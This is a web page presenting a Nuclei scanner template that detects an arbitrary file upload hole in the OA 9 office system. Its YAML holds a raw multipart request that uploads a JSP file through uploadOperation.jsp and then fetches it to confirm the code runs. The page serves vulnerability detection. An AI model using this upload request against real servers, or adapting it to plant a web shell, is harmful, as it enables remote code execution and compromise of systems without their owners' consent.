OA 9 - Arbitrary File Upload

ID: oa-v9-uploads-file

Severity: high

Author: pikpikcu

Tags: rce,jsp,fileupload,intrusive

Description

OA 9 is susceptible to arbitrary file upload via the uploadOperation.jsp endpoint. These files can be subsequently called and are executed by the remote software, and an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

id: oa-v9-uploads-file

info:
  name: OA 9 - Arbitrary File Upload
  author: pikpikcu
  severity: high
  description: OA 9 is susceptible to arbitrary file upload via the uploadOperation.jsp endpoint. These files can be subsequently called and are executed by the remote software, and an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-434
  metadata:
    max-request: 2
  tags: rce,jsp,fileupload,intrusive

http:
  - raw:
      - |
        POST /page/exportImport/uploadOperation.jsp HTTP/1.1
        Host: {{Hostname}}
        Origin: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo

        ------WebKitFormBoundaryFy3iNVBftjP6IOwo
        Content-Disposition: form-data; name="file"; filename="poc.jsp"
        Content-Type: application/octet-stream

        <%out.print(2be8e556fee1a876f10fa086979b8c7c);%>
        ------WebKitFormBoundaryFy3iNVBftjP6IOwo--
      - |
        GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "2be8e556fee1a876f10fa086979b8c7c")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a004730450220216db3c24316c22329a6fdbc0fbfa335188217ff1ec0b255d8877f6f3dcb9dd8022100fd29c70097f93901ece94a70ee957cef313b5b35e151dd53e6c8f106a92a7747:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/oa-v9-uploads-file.yaml"

View on Github